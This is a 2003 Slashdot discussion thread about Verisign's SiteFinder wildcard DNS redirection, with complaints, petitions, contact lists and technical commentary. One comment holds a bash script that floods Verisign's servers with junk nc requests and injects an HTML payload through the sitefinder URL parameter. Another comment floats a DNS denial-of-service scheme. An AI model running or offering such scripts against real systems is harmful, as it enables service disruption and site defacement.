Verisign Typosquatter Explorer

With all the stuff flying in IT today by grasshoppa · 2003-09-17 08:44 · Score: 3, Insightful

it's amazing anybody is able to accomplish anything.

Anybody else feel like you just want to start over, with only good people involved, and remake the internet? None of this patent crap, none of this copyright bullshit, just pure standards that are actual standards. Uncompromised and pure. No restrictions on data, short of the physical line speeds.

Yeah yeah, I know..."when you wish, upon a star"

--
Mod me down with all of your hatred and your journey towards the dark side will be complete!

Re:With all the stuff flying in IT today by keester · 2003-09-17 08:47 · Score: 4, Funny

Yeah, let's do it. We'll start with a biological attack on the whole planet ... wait ... who's that ... is that you, NSA? Oh shit!

--
Take it easy? I'll take it anyway I can get it . . .
Re:With all the stuff flying in IT today by Osty · 2003-09-17 08:48 · Score: 3, Insightful

Anybody else feel like you just want to start over, with only good people involved, and remake the internet? None of this patent crap, none of this copyright bullshit, just pure standards that are actual standards. Uncompromised and pure. No restrictions on data, short of the physical line speeds.

And you'd just have to do it all over again in 15-20 years, since that's exactly how the current net started.
Re:With all the stuff flying in IT today by devphaeton · 2003-09-17 09:32 · Score: 2, Offtopic

Do away with the physical line speeds too and you've got Internet2...at least until it goes public one day.

Yeah.. 983 Megabits per second. You could have your computer online for approximately 7 minutes before your harddrive is completely packed with all the spam that would come in.

--

do() || do_not(); // try();
Re:With all the stuff flying in IT today by mumblestheclown · 2003-09-17 09:41 · Score: 3, Insightful

I'd like to start over and remake the internet. With people who RESPECT copyrights, for an atmosphere where intellectual work is treated equitably, so that we can build real empires of information, education, and entertainment, rather than play lowest common denominator games of today. I'd like an internet where a small software development shop can compete against large shops and make a fair profit without today's reality that any software that becomes popular gets pirated en masse, ultimately benefitting only the established names. I'd like a world where a musician can sell their songs for a fair price on the internet without middlemen knowing that their monetay success will be a linear product of the number of fans the quality of their music attracts. I'd like an internet without the "geektelligencia" going 180 degrees the wrong way and bitching and whining about copyrights, when they should be the first one to see their value and fight vigorously to protect them.
Re:With all the stuff flying in IT today by rot26 · 2003-09-17 10:26 · Score: 2, Funny

And you'd just have to do it all over again in 15-20 years, since that's exactly how the current net started.

Nah, it wouldn't be nearly as hard the second time around. It's like the project I worked on for a year... the day of the demo, I tripped and broke my computer, and by coincidence, all of my backups burned up in a fire because the network weenie was freebasing again. Anyway, I rewrote the whole thing in 7 minutes using nothing but Perl scripts and a bobby pin and it was ever better than before.

Mod it down, I have so much karma that it makes my nipples constantly hard... it's becoming embarassing.

--

To ensure perfect aim, shoot first and call whatever you hit the target
Re:With all the stuff flying in IT today by register_ax · 2003-09-17 14:31 · Score: 2, Insightful

With people who RESPECT copyrights, for an atmosphere where intellectual work is treated equitably, so that we can build real empires of information, education, and entertainment, rather than play lowest common denominator games of today.
[begin normal homo sapien emotional response]
fsck that, seriously.
[allow adjustment for rational thinking]
Why respect copyright? Copyright was designed to give the creators exclusive rights to what is done with their material. This means they are gods of their own little universes, but people are infringing on their "rights" to this fact. I'm saying that we consider this our god-given right. Copyright is an attribute of a governing body. Yes, you are completely correct for copyright being a splendid idea for the US system and many other governing bodies around the world, however, please don't get caught up in the idea that this way will be the best for all eternity. So what I am saying is, don't consider copyright as an absolute sovereignty.
[The following paragraphs are not very coherent, proceed at your own risk. You have been warned.]
When you say "RESPECT copyrights," you're negating away from the root cause. People create the copyrights, right? We want to respect what people create, sure, but does that mean we respect the people? Well if you look at the current state of affairs, we don't really. We respect the law. We respect doctrines and paper. We respect copyright when there are rules governing us to do so. That's spiffy, but it's detracting us from something more fundamental.
It's obvious, respect people. Lemme esplain. With copyright we objectify. If we have no copyrights there is no restriction from impersonation, stealing ideas, and other bad things people can do with other person's things. There is also no restriction on creating derivative works and expanding on ideas which would otherwise (sometimes) lay stagnant. OK I know this sounds like stealing which is badBADBAD, but...
Imagine this, a world where people actually work together to get things done. Imagine the competitional greed (object = money = ideas = copyright/patent) in this world today. Right, a wonderful system if you adhere to certain rules. I'll risk destroying my argument by bringing up dee h4x0rs. They believe in a different stigma. Free access to all, right? Destroying a system will bring to light methods of improvement. So, manipulating someone's ideas allows for improvement on society as a whole. This is looking at the long term rather then the short.
As far as compensation goes for people, it will be in different forms (I'm not talking clams here). Others will grow around others and use ideas to progress their group as a whole. Note that the group might or might not be apparent. These could be researchers collaborating worldwide, or a few neighbors working on a project. Is it really worth it to withhold information that could contribute to the common good for the sake of self-gratification? Fsck your ego please so we don't have to live a life underground hiding from the robots. :)
I had better state that this is something that will be hard to make happen very soon (I mean within the next millenia (maybe it will be forced on us?)), but as I see it, inevitable. And you know what? I beg of you to alter and refine this information for publication in your next book. I hope very much you make millions of dollars from it too! :) How would you feel if you "stole" this from me and did it. You get conflicting messages, you might feel to compensate me, but I did give you permission. Aww...the perils of being human. :)
Summary
I'm not saying we should steal things, but that there should be nothing to steal.
* Profitable ideas are usually protected by a patent, but I lump it with copyright because copyright is a protection on artistic works (literary, musical, etc) and I see an elegant idea described on paper as artistic.
** Bits are free where things are "real"
Re:With all the stuff flying in IT today by Zeinfeld · 2003-09-18 02:04 · Score: 2, Interesting

Unfortunately, I doubt that Atlas is going to shrug any time soon, and the "good people" are going to be stuck with the "horribly stupid people" until we all blow ourselves up and the cats take over the planet.
For Atlas to shrug the creative people have to be people as greedy and self centered as Ayn Rand was.
There are a few libertarians who are involved in the forefront of Internet and Web research but not very many and I doubt that their contribution is irreplaceable.
The Web is really a piece of performance art, it kind of looses its point if nobody experiences it.

--
Looking for an Information Security student project suggestion?
Try http://dotcrimeManifesto.com/

Out-of-sync DBs? by Lord+Grey · 2003-09-17 08:44 · Score: 5, Insightful

The phenomena could be easily explained as out-of-sync databases. Assuming that Verisign is using multiple database systems, that is.

But does it matter? What Verisign is doing is wrong. Exactly how they're wrong is irrelevant.

--
// Beyond Here Lie Dragons

It's not a bug... by ArmedLemming · 2003-09-17 08:45 · Score: 3, Funny

"I don't believe it's an advertising rotation..."

It's a feature!

--
Two fish swim into a wall, one turns to the other and says, "Dam".

They need this suggestion by doggkruse · 2003-09-17 08:45 · Score: 4, Funny

Everyone goto http://verisignneedstogetaclue.com

petition by Anonymous Coward · 2003-09-17 08:45 · Score: 5, Informative

Don't forget to sign the petition on Verisign's abuse of the DNS system.

Re:petition by grub · 2003-09-17 08:59 · Score: 5, Insightful

I would like to see just one online petition that has carried any weight. It's the height of "slacktivism".

--
Trolling is a art,
Re:petition by drakaan · 2003-09-17 09:36 · Score: 2, Interesting

ANd most of those people who don't understand a DNS error in their web browser are using Internet explorer, which gives a similar search page. Verisign (not Verizon...god, why am I responding to an AC, anyway) doesn't own the .com and .net domains space, they just run the servers that give out name-server IP addresses for those domains.
They are taking advantage of the fact that they run those servers and are driving traffic to their site in a monopolistic and predatory manner while breaking many relied-upon services that expect a certain response (NXDOMAIN) when a domain doesn't exist. The site design is irrelevant, and what they have done is essentially hijack the .com and .net domains and squat on EVERY unregistered domain name out there.

--
"Murphy was an optimist" - O'Toole's commentary on Murphy's Law
Re:petition by ChaosDiscord · 2003-09-17 09:54 · Score: 4, Informative

I would like to see just one online petition that has carried any weight. It's the height of "slacktivism".
Here you go. Apparently MoveOn.org's online petition was considered significant enough to warrant a press conference with two senators featuring boxes of printed out petitions.
HTH. HAND.
(All that said, I do agree that most online petitions are nearly worthless and don't carry anywhere near the weight of individually addressed messages. If you really care, take the time to express your position in your own words and send it as a letter (send an email in addition, if you like)).

--
Search 2010 Gen Con events
Re:petition by delta407 · 2003-09-17 11:04 · Score: 5, Informative

If you really want to make sure Verisign hears you, try some of my suggestions from other posts, duplicated below.

A list of contact information is here. The Verisign main number is 1-877-438-8776, which gives you a long list of options. Depending on what you pick, you'll probably end up talking to a Network Solutions guy. Tell him you're distressed about the SiteFinder service, ask about what your options are, and ask if there's anyone else to talk to. They probably won't be much help, but write down everything they tell you, get their employee ID, and keep track of date/time for calls as well as time on hold (might be helpful).

After some lengthy conversation, I found out that I should be talking to the Verisign Global Registry, but that they can't give me a phone number, because (supposedly) NSI doesn't even have a phone number. However, I did get an e-mail address -- sitefinder@verisign-grs.com, which is routed to someone's inbox (as in, a person, not a support center), which currently yields an "Out-of-office reply" that gives out a cell phone number (!). I don't think I'm going to call it, but at least I have more contact information on file now and an e-mail that will get read.

Additionally, you might want to try calling the office of Russel Lewis, who's the VP of the Verisign directory services. He's at the Virginia office (1-703-742-0400), but I got disconnected instead of transferred and haven't called a second time (yet). If you try this number, you'll probably get a secretary, to whom you should explain that the standard procedures for communicating with Verisign have failed, that you are "very disappointed" and that you "want to make things right". (It works better if you're actually a Verisign customer.) If you're nice about it -- knowing that the secretary probably doesn't know anything about it and can't do anything anyway -- you can probably get routed to someone in the directory services division, where you can register further complaints.

[...]

I have been unable to raise the Chicago local office by phone, and when I went to visit, the visitor center couldn't even get a hold of them. Weird.

I called their headquarters in CA a few times now. I was hung up on, randomly transferred to someone's voice mail (I'm not sure who), and finally talked to a particularly helpful representative who passed my queries to his manager. They said that SiteFinder was run by NSI, to which I responded that NSI said that SiteFinder was run by Verisign, to which I added that Verisign (as a global registry) is the only organization with the power to do something like that. He went to talk to his manager, told me that they were promised more information on SiteFinder by the end of today (9/17), and promised me a call-back in 24 hours.

Updates to follow.
Re:petition by the_mad_poster · 2003-09-17 13:45 · Score: 2, Informative

I e-mailed sitefinder@verisign-grs.com.

It looks like they've caught on and the e-mails are being routed to Customer Service. I got this auto-response:

Thank you for contacting VeriSign Customer Service. We have received your email and a member of our Customer Service team will be responding to you shortly.

Best Regards,

Customer Service
VeriSign, Inc.
www.verisign.com

--
Alito: A vote for Alito is a punch in the eye to put that bitch back in her place!
Re:petition by shokk · 2003-09-17 14:13 · Score: 2, Interesting

That's right, it won't work. You have to vote with your feet, or in this case, your electronic feet. If you are in charge of a DNS server, push to have it updated to block their slimy wildcarding. So what if Verisign changes something to get around the latest patch? BIND and friends will update again. Who is more likely to get tired of this game faster, the suits who have to go out to a three hour lunch and don't want to hear about how crappy their latest decision was, or the out of work hacker with a terminal in his face and caffeine flowing to the tips of his coding fingers? I worry that this will lead to a fractured mess of DNS versions and someone will come along with a worm to take advantage of coding mistakes made in a hurry to counter each move. That could be a good thing in that it would force everyone to bump up to the latest Verisign blocking version.

Remember, it's a free market, so Verisign can do as they will within the limits of the law. They'll just have to deal with more work now to counter each move we make. Hey, on the bright side, it might mean more jobs for programmers and admins if they decide to continue with this. Good luck Verisign!

--
"Beware of he who would deny you access to information, for in his heart, he dreams himself your master."
Re:petition by MegaFur · 2003-09-17 19:23 · Score: 2, Funny

I would like to see just one online petition that has carried any weight. It's the height of "slacktivism".(emphasis mine)

Sweet. That's an excelent term. It's tempting to write a great, big essay bemoaning slacktivism, but I can't because I am a slacktivist.

--
Furry cows moo and decompress.

In case it gets slashdotted... by skank · 2003-09-17 08:45 · Score: 5, Informative

Verisign Typosquatter Explorer
by Seth Finkelstein
Introduction

On Monday September 15 2003, a change to .com/.net behavior was announced. In sum, every mistyped domain name, one that had not been registered, would be redirected to a new site controlled by the company which runs a major part of the domain name system, Verisign.

When a URL has a misspelled domain name, Verisign's changes have the effect of redirecting every single HTTP page request (technically, HTTP response code 302). There is a redirection header and page which displays:

The document has moved here.

So, for example, the URL

http://verisign-is-to.net/more/evil/than/satan/h im self.html

Gets redirected to:

http://sitefinder.verisign.com/lpc?url=verisign- is -to.net/more/evil/than/satan/himself.html&host=ver isign-is-to.net

This site suggests corrections to the typo. I have written a program " Verisign Typosquatter Explorer" in order to examine these suggestions. Future data may be analyzed as interest permits.

Note tests with some domains seem to return results which are not constant, i.e. differences when the program is run repeatedly. This is not a program bug. Reloading the Verisign page also changes which squat-suggested domains are displayed. I don't believe it's an advertising rotation, but the behavior is similar to that practice.
Support

This project was not supported by anyone. If anyone is providing financial support for such projects, the author would dearly like to know.

Version 1.2 September 17 2003

See also: Domain Investigations
Mail comments to: Seth Finkelstein

For future information: subscribe to Seth Finkelstein's Infothought list or read the Infothought blog

See more of Seth Finkelstein 's Anticensorware Investigations

Mail addresses by Ratface · 2003-09-17 08:46 · Score: 5, Interesting

I mailed this little lot earlier today:

authenticode-support@verisign.com, billing@verisign.com, channel-partners@verisign.com, clientpki@verisign.com, consultingsolutions@verisign.com, dbms-support@verisign.com, dcpolicy@verisign.com, digitalbranding@verisign.com, dnssales@verisign.com, enterprise-pkisupport@verisign.com, enterprise-sslsupport@verisign.com, info@verisign-grs.com, internetsales@verisign.com, IR@verisign.com, jobs@verisign.com, mss@verisign.com, objectsigning-support@verisign.com, paymentsales@verisign.com, practices@verisign.com, premiersupport@networksolutions.com, press@verisign.com, privacy@networksolutions.com, renewal@verisign.com, support@verisign.com, verisales@verisign.com, vps-support@verisign.com, vts-csrgroup@verisign.com, vts-mktginfo@verisign.com, webhelp@verisign.com, websitesales@verisign.com, websitesupport@verisign.com

And I got a bunch of replies back, including *gasp* two written by actual human beings!

Remember folks, if you're going to write and complain, try and keep it civil. The porr bugger who hsa to read your complaint isn't the same person who actually took the decision to introduce sitefinder!

--

A little planning goes a long way...

Re:Mail addresses by AyeRoxor! · 2003-09-17 09:07 · Score: 2, Interesting

Thank you for that list. I just sent the following message:

Subject:
New policy of typosquatting

Body:
To whom it concerns:

I am DEEPLY disturbed with your latest decision/practice to typosquat, and I hope you will reconsider. It is extremely arrogant to think that you, as a corporation, have a right to do this. Any page sent on request for a non-existing domain should represent ALL of that TLD's registrars or NONE. As it stands, this is equivalent to all wrong numbers dialed *anywhere in the world* getting a message from a Pennsylvania phone company. It's global hijacking, plain and simple, and I hope the backlash will teach you an obviously much-needed lesson.

Thank you for your time

Such a waste of time... by winstarman · 2003-09-17 08:48 · Score: 2, Interesting

So what do you do when you WANT to get a "domain cannot be found" error for troubleshooting purposes... I know it sounds weird, but this whole thing is very annoying.

R-

--
Hard loop..... huh?

Dynamic Designs

Weird.. by grub · 2003-09-17 08:48 · Score: 4, Funny

If I make a type for "slashdot" such as salhsdtot.com it suggests goatse.cx as a top candidate. That's some pretty smart AI VeriSign has.

--
Trolling is a art,

no response by bendawg · 2003-09-17 08:49 · Score: 2, Funny

I cannot get to 64.94.110.11.
Either it is not responding, or our network is blocking it.

Mirror by imadcow1 · 2003-09-17 08:49 · Score: 4, Informative

Here is a mirror of the site in case it goes down: http://www.madcowworld.com/sethf.com/domains/veris quat/

where's the problem? by erikdotla · 2003-09-17 08:52 · Score: 3, Interesting

Hey, I'm outraged and mad too, like all of you.. but, I'm not seeing this. Maybe my ISPs have taken a stand with their DNS, but both my work and home ISPs? Unlikely. Why aren't I seeing this?

--
# Erik

Re:where's the problem? by danielsfca2 · 2003-09-17 09:08 · Score: 2, Interesting

Yeah. according to the link in the submission (at NANOG), "Today VeriSign is adding a wildcard A record to the .com and .net zones. The wildcard record in the .net zone was activated from 10:45AM EDT to 13:30PM EDT. The wildcard record in the .com zone is being added now." as of 9/15. So this should mean this is going on at the moment. However, on Comcast, I've got normal behavior.

Re:Congratulations by Seth+Finklestein · 2003-09-17 08:56 · Score: 3, Funny

I'll be back, motherfuckers.

I bet Michael Sims was DDOSing me.

--
I'm not Seth Finkelstein. I still speak the truth.

Squating? by toupsie · 2003-09-17 09:00 · Score: 4, Interesting

How is this any different from me buying mispelled domains to profit off other company's trademarks? I know the Federal Government just tossed a guy in jail for doing the same thing. There is something that stinks to high heaven about this. It looks like they are abusing their right to manage the USA TLDs along with violating RFCs.

--
Strange women lying in ponds distributing swords is no basis for a system of government.

Re:Squating? by slithytove · 2003-09-17 10:28 · Score: 3, Insightful

The only difference I can think of is that Verisign didn't even have to buy the mispelled domains, which just makes it even more infuriating.
This is unquestionably an abuse of their "right" to manage the US TLDs and they should be stripped of it.
Personally I don't see why we couldnt have a distributed DNS system which would work something like freenet. The trademark office could push entries into the system, signed with their private key, and various other governmental, commercial and non-profit/private entities could push whatever entries they wanted onto the stack too.
It would be up to ISPs and individuals to pick which groups' entries to use and in what order.
Most people (and presumably all isps) would probably place the trademark offices' lists at the top so they could find the products and companies they seek (incidentally eliminating the problems associated with others registering your trademark as a domain).
A second tier of trustworthy companies would sell domain names (with market forces setting the cost based on how many isp's subscribe to their entries and how high up the search list most isp's place them)
Finally, I could make my own top-level domains by placing my own list near the top of every computers resolve.conf equivalent which I use.
No government-granted monopolies involved except the already existing trademark system and no need for an ultra-high-availability network at the top level.
If any of this strikes you as unfeasible you probably need to read more about freenet (or conceivably I do- let me know).
Re:Squating? by e_AltF4 · 2003-09-17 10:43 · Score: 2, Interesting

>It looks like they are abusing their right to manage
>the USA TLDs along with violating RFCs.

Pardon me, but the USA TLD is .us and not .com or .net

Verisign's BS by BigDumbAnimal · 2003-09-17 09:00 · Score: 2, Interesting

From the devguide:

A wildcard entry in a zone affects DNS responses for that zone. For existing applications that do not contemplate the effects of wildcard entries, application developers should consider taking appropriate corrective actions.

Thanks Verisign!

DNS DDoS by Bob+Cat+-+NYMPHS · 2003-09-17 09:04 · Score: 2, Funny

If a large number of /.ers were to run a short script that tried to resolve random nonexistent domains, how long would it be before the root servers crashed?

Don't forget, YOU would not have done anything but asked your ISP's DNS for info. IT will be the one /.ing the root servers.

Not that I suggest you do this.

--
The latest Slashdot meme.

20 lines of perl code makes a Slashdot story? by Xerithane · 2003-09-17 09:04 · Score: 3, Informative

What is news worthy about this? This doesn't provide any statistics by itself. There is no wrapper scripts to actually match anything. All this does is parse the response page to display suggested hits. It's not even written that well.

It prints the suggested URLs out and then what? This isn't an explorer, it's a shitty data dump.

Besides, I thought Michael hated Seth. How did this story get posted?

--
Dacels Jewelers can't be trusted.

Re:20 lines of perl code makes a Slashdot story? by JustAnotherReader · 2003-09-17 09:51 · Score: 2, Insightful

20 lines of perl code makes a Slashdot story?
It depends on the code. Remember, the DeCSS code was only 7 lines of Perl. That had fairly far reaching effects on the rights of computer users.

On-line petitions don't work by Eric+Ass+Raymond · 2003-09-17 09:04 · Score: 4, Informative

Indeed.

Petitions are pathetic per se, but e-mail/web petitions carry absolutely no weight at all.

I've worked for professional politicians. The web/e-mail opinion is irrelevant. If you want to be counted (not heard, mind you) send a letter or a fax.

--
BOO! TERRO

Re:On-line petitions don't work by AmigaAvenger · 2003-09-17 09:30 · Score: 2, Insightful

You are HALF right... They prefer you didn't send a letter, the other half about email and fax not being ignored hasn't changed...

Monetary damages by jesterzog · 2003-09-17 09:04 · Score: 4, Interesting

What sort of monetary damages is this action by Verisign incurring for people and businesses everywhere?

Verisign's action was most probably intended for web traffic, where it's at least an annoyance. But since the DNS is an independent system from the web that's used by all sorts of services, it's undoubtedly breaking all sorts of non-web things out there that rely on knowing accurately if a domain name exists... not to mention all of the additional maintenance time. Email and spam filters are the two that seem to've been brought up a lot.

So far I've seen a lot of people getting mad and I am too, but I haven't seen anyone actually state how much they're losing due to the sudden change and breaking of standards by Verisign. Is anyone confident to put an amount on this?

Re:Canada by XJEEP.org · 2003-09-17 09:05 · Score: 2, Informative

404 errors are generated by webservers. your browser would return a this page could not be found/resolved page before this was changed.

How did this make it as a headline? by dentar · 2003-09-17 09:09 · Score: 2, Insightful

This is news? Good god. I wish we could mod whole stories down... ;-(

--
-- I am. Therefore, I think!

Can we sue? by xchino · 2003-09-17 09:09 · Score: 5, Interesting

Seriously, would it be possible for ISP's to file a class action suit? I have spent ALL day (so far) dealing with the repurcussions of this blatant misuse of authority. I know others out there are dealing with the same. I also had two customers get .ws websites rather than AVAILABLE .com sites because they use the method of putting the name in the browser and seeing if a site comes up. They figured verisign was squatting on the domain, and thought they would have to pay verisign for the use of the domain.

On a side note...

Our mail servers are filling up with spam, and with the recent loss of SPEWS, our spam filtering system is basically useless.. save for the few other blacklist sites still out there. Spammers must be rejoicing today.

Fuck you VeriSign, Fuck you very much.

--
Everyone is entitled to their own opinion. It's just that yours is stupid.

Terms of Service by Tom7 · 2003-09-17 09:10 · Score: 4, Interesting

Well, this is finally working for me now!

Man, did you check out their "terms of service"? That shit is hilarious!

" 14. By using the service(s) provided by VeriSign under these Terms of Use, you acknowledge that you have read and agree to be bound by all terms and conditions here in and documents incorporated by reference."

HOW THE FUCK AM I SUPPOSED TO READ AND AGREE TO BE BOUND TO TERMS, when I arrived at the site by mis-typing a domain name????

From the privacy policy:

"Under no circumstances do we collect any personal data revealing racial or ethnic origin, political opinions, religious or philosophical beliefs, trade union membership, health, or sex life."

No? What about when I go to any political site, sex site, health site, religious site, etc, and don't type the domain name correctly?

http://www.sitefinderreallyreallysucks.com/

99.99999999% of all domains now run Linux by Anonymous Coward · 2003-09-17 09:11 · Score: 4, Funny

Because sitefinder-idn.verisign.com runs Linux, and now 99.99999999% of all domains now point to it, almost 100% of the Internet is now running Linux!

To repeat the obvious... by Anonymous Coward · 2003-09-17 09:12 · Score: 5, Insightful

...and preach to the choir.

Verisign was contracted to run DNS servers for the .com and .net top-level domains; both of which are in practice "flat" address spaces, with no formalised lower-level hierarchy. If an organisation registers the domain "foo.com", implements nameservers for this domain, and then these nameservers ignore accepted practice and the way the majority of Internet applications expect the nameservice to work - then the organisation shoots only itself in the foot.

Verisign is in effect treating the entire top-level .com and .net domains as its corporate property.

If Verisign were genuinely ignorant of the effects of their move, then the company is not competent to operate TLD DNS services. If Verisgn were aware of the potential problems their decision could cause and went ahead regardless for commercial reasons then the company is not fit to operate TLD DNS services.

If ICANN cannot react to this nonsense in less than a working week, ICANN itself is not fit to direct the Internet naming service.

Apart from massed armies of geeks with pitchforks and flaming torches converging on Verisign and ICANN locations, does anyone have any constructive suggestions on how to get the parasites out of the loop?

Re:Think about it. by Tom7 · 2003-09-17 09:13 · Score: 2, Insightful

If you think their servers are going to suffer under a slashdotting if they are now accepting ALL mistyped/obsolete domain names, think again. The slashdot traffic will be totally insignificant.

Fix how? by Tom7 · 2003-09-17 09:17 · Score: 2, Interesting

Does anyone have any idea how an application (or even resolver) writer could workaround this?
All the solutions I've come up with can be defeated by having verisign rotate their IP addresses or domain (sitefinder.verisign.com) ...

What is BIND doing?

For UK visitors by slayer99 · 2003-09-17 09:17 · Score: 3, Interesting

Please help with keeping pressure on Verisign - instructions here.

--
Martin Brooks / Slayer99 #linux / UIN 2178117

Re:what am i missing here?? by Meowing · 2003-09-17 09:21 · Score: 2, Informative

It seems to work maybe 1 in 5 times. They pretty clearly did some serious underestimation of the server resources they's need to pull off this kind of thing, so now they are effectively DOS'ing Web clients by holding them up while their server chikes.

Re:Canada by Cecil · 2003-09-17 09:22 · Score: 2, Informative

Incorrect. Domain change propagation still takes up to 48 hours, even when it's Verisign doing it.

This change is on the root servers. They serve the .com/net/org subdomains, period. Whether you're in Canada or Antarctica, it doesn't matter. Some ISPs will have the new wildcard record, some will not. Give it a day or two, and everyone's caches will have expired and will have the latest info. Then you'll get to see it.

--
Random and weird software I've written.

Wrote email to VeriSign by SuperDry · 2003-09-17 09:23 · Score: 4, Insightful

I wrote an email today to NetSol/VeriSign to voice my displeasure. As I have 5 or so domains up for renewal in October, along with various web and email hosting features that go along with them that are currently with NetSol. I told them that I would be moving everything to another registrar should they not have rescinded their change by my renewal date.

I know that my $300 a year may not be the end of the world to them, but I thought it important that they know that some people will make buying decisions based on this. And the types of people that handle DNS registration issues are just the types of people to be ticked off by this.

They sent me a form letter response, that addressed both this new unregistered DNS feature as well as the "register in advance for about-to-expire domains" feature that I didn't mention at all in my email. Their response to that issue was also defensive, so I take it that they're getting an earful on that one as well.

Re:Wrote email to VeriSign by bradipo · 2003-09-17 11:36 · Score: 2, Informative

Transfer it regardless of what they do, you will feel much better afterwards. I have already transitioned over 30 domains from Verisign/Netsol to Dotster and will continue to register any new domains there as well. Much better service there and much more clueful.

Send Email to the CEO of ICANN by Nintendork · 2003-09-17 09:29 · Score: 2, Informative

Paul Twomey

-Lucas

Email the CEO of Verisign! by Nintendork · 2003-09-17 09:35 · Score: 2, Informative

Here's the email address of the bastard himself, Stratton Sclavos

-Lucas

Re:How to make their marketing fools notice by Xerithane · 2003-09-17 09:44 · Score: 2, Informative

Marketing fools don't read web server logs.

You have never actually worked at a company have you? You do realize that people make millions of dollars a year writing web server log analyzers and correlators for marketing research. Don't take my word for it though.

Single quotes are your friend. Anyone who types \& is a dumbass.

Really, how do you propose to pass a reference to a subroutine? Oh, you mean in shell syntax? Why do single quotes when you can just escape. Escaping is a pretty handy thing.

You're a dumbass.

You need some help, mate. Seriously. Get a cat or something.

--
Dacels Jewelers can't be trusted.

ICANN, IAB, IETF official response by MobyDisk · 2003-09-17 09:51 · Score: 4, Informative

Official response is here

Essentially, they state that this change violates the RFC for DNS for several reasons. They are creating an IETF working group to recommended practices for implementing DNS, above and beyond what the RFC requires. Unfortunately, there is no mention of any action, or even censure.

Re:ICANN, IAB, IETF official response by zjbs14 · 2003-09-17 09:59 · Score: 3, Insightful

Check that date. It's ancient history and was a recommendation that Verisign not do what they just did.
We'll just have to wait and see if ICANN comes back and slaps them down

--
No sig, sorry.
Re:ICANN, IAB, IETF official response by Morbid_Angel666 · 2003-09-17 11:15 · Score: 2, Interesting

Did anyone else notice this at the bottom of the site containing the messages?

"This page is maintained by the IAB Executive Director
Last modified 26 November, 2002."
Re:ICANN, IAB, IETF official response by morelife · 2003-09-17 16:05 · Score: 2, Insightful

Exactly.

The original thread of 2 days ago on the Verisign fiasco contained this iab link and information, emphasizing the January date. I posted last night pointing out yet again that this response/recommendation by IAB made in January was completely ignored. Now MobyDisk is pointing this out yet AGAIN in an effort to correct your erroneous 5-Informative. Attention moderators: you are often modding important correct information down and out of sight and unimportant stuff that sounds authoritative up - come on tighten it up guys!!! Not a criticism negatively please don't take it that way - I realize for moderators there's probably too much information to have to digest quickly.

However, the IAB response is the most coherent response on technical grounds yet presented - recognize any of the names on that panel??

Sitefinder link for the firewalled by missing000 · 2003-09-17 09:54 · Score: 2, Informative

Here

Patched Nameserver Database Available by fo0bar · 2003-09-17 09:55 · Score: 3, Interesting

Somewhat off-topic, but relevant to the whole Verisign DNS idiocy... I have thrown up a database of patched nameservers here (don't worry about arouse.net, it's not a porn site), which currently allows you to check to see if a nameserver has been patched to block return of 'A' results for non-existent domains, and allows you to add to the database if it is a patched server.

MoveOn FCC ruling? by Heisenbug · 2003-09-17 09:58 · Score: 2, Interesting

OK, how about this one:

http://slashdot.org/article.pl?sid=03/09/16/1923 25 0

It was only yesterday -- the Senate voted to roll back the FCC media consolidation ruling, based to some extent on the MoveOn petition. Check out the picture of Trent Lott standing next to 360,000 pieces of paper. One of those is mine, and it looks like it carried some weight to me.

I went to school with Eli Pariser, btw -- he's one of the guys who runs MoveOn. Check out what else they've done to see how online activism can be effective.

Re:Why is this bad? by wasabii · 2003-09-17 10:01 · Score: 2, Informative

Spam filters could filter out "forged" email by verifying if the from address' domain actually resolved. Every address now resolves. Programs which check weither or not a web address is "up and working" can now be fooled into thinking it is up when it is not. There are hundreds of similar programs or software running in organizations that expect clear and consistant error information.

This bypasses my choice of search engine withing my browser for non existant domains (currently google).

Re:how to stop it now until BIND is fixed by node159 · 2003-09-17 10:46 · Score: 2, Informative

Dude, that don't fix the apps, which is the main problem that the dumb cunts at VerShit didn't think about. Now all my programs can't figure out that the entered address is not at ip 216.168.224.63 or 64.94.110.11. So instead it tries those Ip's and has to time out. Hopefully their servers are getting flooded the fuck out but I guess one really needs to write a proper app to cause any serious damage that may get them to change their minds.

--
GPLv2: I want my rights, I want my phone call! DRM: What use is a phone call, if you are unable to speak?

A better one: by pr0ntab · 2003-09-17 10:52 · Score: 2, Interesting

#!/bin/bash # #Replace dumbwordlist if you like with nonsense #that will be used to fill up Verisign's database #with useless crap. #To make it eviler, remove the $((RANDOM%10)) parts, #or maybe wrap the inner loops with an outer loop that #picks a random postfix and asks for all of the #domains ending, with that prefix, 10 times or so. #Since the stuff should get asked for repeatedly, #maybe they'll get "false positives". # #Also note that this simulates the first request to #the siteverifier page, which sends a redirect to the #real page with the ads and links on it. We ignore it #and send the second request, knowing full well what #the first one looked like. Hopefully this "seems" #legitimate on their end. # #Your ISP may have already null-routed 64.94.110.11; #if so this script will hang with no output. #To remedy, remove the first nc command (up to the first # %%EOF%%). Leave the second one, as it appears #that one is still visible. If both are invisible, your #ISP has _really_ gone the distance to piss of Verisign # #Kudos! dumbwordlist="rem0te br4nd sar1n flau7a mickst3r robbi3 ch3my jjopppl fuckkksl ncmaster df753 klopuier beeiosla cuntwh4ccker openinsertcl oofignet phaconspal qrrtioe sumnsan rx30sony popopospospposp llqksjajjq0 aslashji aklhjk3421 halff liveees ttooowo toowoo aslllkoq" for each in $dumbwordlist; do for eachi in $dumbwordlist; do fakedom=$each$((RANDOM%10))$eachi$((RANDOM%10)); nc 64.94.110.11 80 <<%%EOF%% GET /${fakedom} HTTP/1.1 Host: ${fakedom}.com Pragma: no-cache Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* %%EOF%% nc 12.158.80.10 80 <<%%EOF%% GET /lpc?url='%3E%3Cfont%20size=+5%20color=%23FF0000%3 E\ VERISIGN%20SUCKS%20MY%20${fakedom}%3C/font%3E HTTP/1.1 Host: sitefinder.verisign.com Pragma: no-cache Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* %%EOF%% done done

--
Fuck Beta. Fuck Dice

The message matters as much as the medium by gidds · 2003-09-17 12:01 · Score: 3, Interesting

Of course, it depends on where you are. I'm in the UK, and when I faxed my MP last year (from the FaxYourMP web site), about the proposed amendment to the RIP bill, he responded with a letter (on 'House of Commons' headed paper) almost immediately, and another a month later when the amendment was withdrawn. (I don't like the man personally, and I don't agree with some of his politics, but as a constituency MP he does a good job.)

